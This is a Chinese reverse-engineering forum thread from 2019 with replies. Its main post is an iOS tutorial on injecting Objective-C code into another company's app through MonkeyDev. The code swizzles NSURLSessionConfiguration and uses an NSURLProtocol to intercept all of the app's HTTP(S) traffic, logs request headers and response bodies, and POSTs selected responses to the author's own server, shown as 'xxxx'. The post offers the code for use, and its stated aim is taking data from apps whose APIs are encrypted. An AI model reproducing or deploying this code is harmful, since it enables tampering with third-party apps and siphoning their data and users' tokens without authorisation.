吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 17609|回复: 46
收起左侧

[iOS 原创] 拦截所有App的网络请求并将需要的数据上传到属于你自己的服务器

[复制链接]
sgzqingchen 发表于 2019-8-4 20:06
本帖最后由 sgzqingchen 于 2019-8-4 21:41 编辑

前提 : 有时会遇到这样的需求:将一些别人app上比较优质的内容,用到自己产品中.由于别人的app做了大量的参数加密, 我们获取不到加密规则,所以使用接口直接调用的方法就走不通.

本文就是要介绍使用逆向技术拦截目标app的所有网络请求.对于我们需要的接口数据上传到我们自己的服务器中

工具:
monkeyDev
PPSNetworkMonitor开源库中的代码

代码如下:

PPSURLSessionConfiguration.h

@interface PPSURLSessionConfiguration : NSObject

@property (nonatomic,assign) BOOL isSwizzle;

+ (PPSURLSessionConfiguration *)defaultConfiguration;

/**
*  swizzle NSURLSessionConfiguration's protocolClasses method
*/
- (void)load;

/**
*  make NSURLSessionConfiguration's protocolClasses method is normal
*/
- (void)unload;

@end

PPSURLSessionConfiguration.m

#import "PPSURLSessionConfiguration.h"
#import <objc/runtime.h>
#import "PPSURLProtocol.h"

@implementation PPSURLSessionConfiguration

+ (PPSURLSessionConfiguration *)defaultConfiguration {

    static PPSURLSessionConfiguration *staticConfiguration;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        staticConfiguration=[[PPSURLSessionConfiguration alloc] init];
    });
    return staticConfiguration;

}
- (instancetype)init {
    self = [super init];
    if (self) {
        self.isSwizzle=NO;
    }
    return self;
}

- (void)load {

    self.isSwizzle=YES;
    Class cls = NSClassFromString(@"__NSCFURLSessionConfiguration") ?: NSClassFromString(@"NSURLSessionConfiguration");
    [self swizzleSelector:@selector(protocolClasses) fromClass:cls toClass:[self class]];

}

- (void)unload {

    self.isSwizzle=NO;
    Class cls = NSClassFromString(@"__NSCFURLSessionConfiguration") ?: NSClassFromString(@"NSURLSessionConfiguration");
    [self swizzleSelector:@selector(protocolClasses) fromClass:cls toClass:[self class]];

}

- (void)swizzleSelector:(SEL)selector fromClass:(Class)original toClass:(Class)stub {

    Method originalMethod = class_getInstanceMethod(original, selector);
    Method stubMethod = class_getInstanceMethod(stub, selector);
    if (!originalMethod || !stubMethod) {
        [NSException raise:NSInternalInconsistencyException format:@"Couldn't load NEURLSessionConfiguration."];
    }
    method_exchangeImplementations(originalMethod, stubMethod);
}

- (NSArray *)protocolClasses {

    return @[[PPSURLProtocol class]];
    //如果还有其他的监控protocol,也可以在这里加进去
}

@end

PPSURLProtocol.h

@interface PPSURLProtocol : NSURLProtocol

+ (void)start;

+ (void)end;

@end

PPSURLProtocol.m

#import "PPSURLSessionConfiguration.h"

static NSString *const PPSHTTP = @"PPSHTTP";//为了避免canInitWithRequest和canonicalRequestForRequest的死循环

@interface PPSURLProtocol()<NSURLConnectionDelegate,NSURLConnectionDataDelegate>

@property (nonatomic, strong) NSURLConnection *connection;
@property (nonatomic, strong) NSURLRequest *pps_request;
@property (nonatomic, strong) NSURLResponse *pps_response;
@property (nonatomic, strong) NSMutableData *pps_data;

@end

@implementation PPSURLProtocol

#pragma mark - init
- (instancetype)init {
    self = [super init];
    if (self) {
    }
    return self;
}

+ (void)load {

}

+ (void)start {
    PPSURLSessionConfiguration *sessionConfiguration = [PPSURLSessionConfiguration defaultConfiguration];
    [NSURLProtocol registerClass:[PPSURLProtocol class]];
    if (![sessionConfiguration isSwizzle]) {
        [sessionConfiguration load];
    }
}

+ (void)end {
    PPSURLSessionConfiguration *sessionConfiguration = [PPSURLSessionConfiguration defaultConfiguration];
    [NSURLProtocol unregisterClass:[PPSURLProtocol class]];
    if ([sessionConfiguration isSwizzle]) {
        [sessionConfiguration unload];
    }
}

/**
需要控制的请求

@param request 此次请求
@return 是否需要监控
*/
+ (BOOL)canInitWithRequest:(NSURLRequest *)request {

    if (![request.URL.scheme isEqualToString:@"http"] &&
        ![request.URL.scheme isEqualToString:@"https"]) {
        return NO;
    }
    //如果是已经拦截过的  就放行
    if ([NSURLProtocol propertyForKey:PPSHTTP inRequest:request] ) {
        return NO;
    }
    return YES;
}

/**
设置我们自己的自定义请求
可以在这里统一加上头之类的

@param request 应用的此次请求
@return 我们自定义的请求
*/
+ (NSURLRequest *)canonicalRequestForRequest:(NSURLRequest *)request {
    NSMutableURLRequest *mutableReqeust = [request mutableCopy];
    [NSURLProtocol setProperty:@YES
                        forKey:PPSHTTP
                     inRequest:mutableReqeust];
    return [mutableReqeust copy];
}

- (void)startLoading {
    NSURLRequest *request = [[self class] canonicalRequestForRequest:self.request];
    self.connection = [[NSURLConnection alloc] initWithRequest:request delegate:self startImmediately:YES];
    self.pps_request = self.request;
}

- (void)stopLoading {
    [self.connection cancel];

    //获取请求方法
    NSString *requestMethod = self.pps_request.HTTPMethod;
    NSLog(@"请求方法:%@\n",requestMethod);

    //获取请求头
    NSDictionary *headers = self.pps_request.allHTTPHeaderFields;
    NSLog(@"请求头:\n");
    for (NSString *key in headers.allKeys) {
        NSLog(@"%@ : %@",key,headers[key]);
    }

    //获取请求结果
   // 上传拦截结果到我们自己服务器上
    NSString *string = [self responseJSONFromData:self.pps_data];
    NSLog(@"请求结果:%@",string);
    if ([[self.request.URL absoluteString] containsString:@"liked"]) {
        NSURLSession *session = [NSURLSession sharedSession];
        NSURL *url = [NSURL URLWithString:@"xxxx"];
        NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
        request.HTTPMethod = @"POST";
        request.HTTPBody = [[NSString stringWithFormat:@"json_data=%@", string] dataUsingEncoding:NSUTF8StringEncoding];

        NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        }];
        [dataTask resume];
    }

}

#pragma mark - NSURLConnectionDelegate
- (void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error{
    [self.client URLProtocol:self didFailWithError:error];
}

- (BOOL)connectionShouldUseCredentialStorage:(NSURLConnection *)connection{
    return YES;
}

- (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge{
    [self.client URLProtocol:self didReceiveAuthenticationChallenge:challenge];
}

- (void)connection:(NSURLConnection *)connection
didCancelAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
    [self.client URLProtocol:self didCancelAuthenticationChallenge:challenge];
}

#pragma mark - NSURLConnectionDataDelegate
-(NSURLRequest *)connection:(NSURLConnection *)connection willSendRequest:(NSURLRequest *)request redirectResponse:(NSURLResponse *)response{

    if (response != nil) {
        self.pps_response = response;
        [self.client URLProtocol:self wasRedirectedToRequest:request redirectResponse:response];
    }
    return request;
}

- (void)connection:(NSURLConnection *)connection
didReceiveResponse:(NSURLResponse *)response {
    [[self client] URLProtocol:self didReceiveResponse:response cacheStoragePolicy:NSURLCacheStorageAllowed];
    self.pps_response = response;
}

- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data {
    [self.client URLProtocol:self didLoadData:data];
    [self.pps_data appendData:data];
    NSLog(@"receiveData");
}

- (NSCachedURLResponse *)connection:(NSURLConnection *)connection
                  willCacheResponse:(NSCachedURLResponse *)cachedResponse {
    return cachedResponse;
}

- (void)connectionDidFinishLoading:(NSURLConnection *)connection {
    [[self client] URLProtocolDidFinishLoading:self];
}

//转换json
-(id)responseJSONFromData:(NSData *)data {
    if(data == nil) return nil;
    NSError *error = nil;
    id returnValue = [NSJSONSerialization JSONObjectWithData:data options:0 error:&error];
    if(error) {
        NSLog(@"JSON Parsing Error: %@", error);
        //https://github.com/coderyi/NetworkEye/issues/3
        return nil;
    }
    //https://github.com/coderyi/NetworkEye/issues/1
    if (!returnValue || returnValue == [NSNull null]) {
        return nil;
    }

    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:returnValue options:NSJSONWritingPrettyPrinted error:nil];
    NSString *jsonString = [[NSString alloc]initWithData:jsonData encoding:NSUTF8StringEncoding];
    return jsonString;
}

- (NSMutableData *)pps_data {
    if (!_pps_data) {
        _pps_data = [NSMutableData data];
    }
    return _pps_data;
}

@end

如上两个文件导入MonkeyDev中 就会在如下方法中

- (void)stopLoading {...}

拦截你所导入的目标ipa的所有网络请求 .

根据抓包地址确定你需要的接口数据进行过滤

// 例如我需要的接口xxx
if ([[self.request.URL absoluteString] containsString:@"xxxx"]){}

好了 到此为止拦击所有app的网络请求就完成了, 如果有不明白或者工具不会使用的留言,看到就会回答. 感谢大家!!!

免费评分

参与人数 5威望 +1 吾爱币 +18 热心值 +4 收起 理由
qtfreet00 + 1 + 12 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Bds1r + 3 + 1 热心回复!
冥界3大法王 + 1 这是吸星大法神功,没本万利啊~~
百元大户 + 1 + 1 用心讨论,共获提升!
笙若 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| sgzqingchen 发表于 2019-8-7 07:39
woshizs 发表于 2019-8-6 15:43
哈哈 不好意思 没注意看标题  跑题了而且也异想天开了,本来想法是服务器关了的产品要是能把服务器换成自 ...

如果你服务器数据格式和原来的一样 其实是可以的, 只要数据结构一样 原来的app就能解析出来
woshizs 发表于 2019-8-6 15:43
sgzqingchen 发表于 2019-8-5 19:03
已关闭服务器的app 怎么使用?

哈哈 不好意思 没注意看标题  跑题了而且也异想天开了,本来想法是服务器关了的产品要是能把服务器换成自己的然后继续使用就好了
佚丶名 发表于 2019-8-4 20:37
木马城市 发表于 2019-8-4 20:52
好(?▽?)
我是浮夸 发表于 2019-8-4 21:02
表示看不懂  不知道有没有成品软件
yywapj 发表于 2019-8-4 21:03
这个深度联想...
 楼主| sgzqingchen 发表于 2019-8-4 21:38
佚丶名 发表于 2019-8-4 20:37
设置里面权限设置不就OK啦

怎么设置能吧 别人app返回的数据返回你自己服务器上去呢? 关键点在这里
 楼主| sgzqingchen 发表于 2019-8-4 21:39
我是浮夸 发表于 2019-8-4 21:02
表示看不懂  不知道有没有成品软件

这直接文件拖入mokeydev 就可以了, 具体你需要什么app的 你需要自己导入对应app的ipa文件
头像被屏蔽
肖大胖不怕胖 发表于 2019-8-4 21:41
提示: 作者被禁止或删除 内容自动屏蔽
我是浮夸 发表于 2019-8-4 21:43
sgzqingchen 发表于 2019-8-4 21:39
这直接文件拖入mokeydev 就可以了, 具体你需要什么app的 你需要自己导入对应app的ipa文件

能不能出个实战教程  期待
panda52100 发表于 2019-8-4 23:27
蒙圈了,太深奥
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 15:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表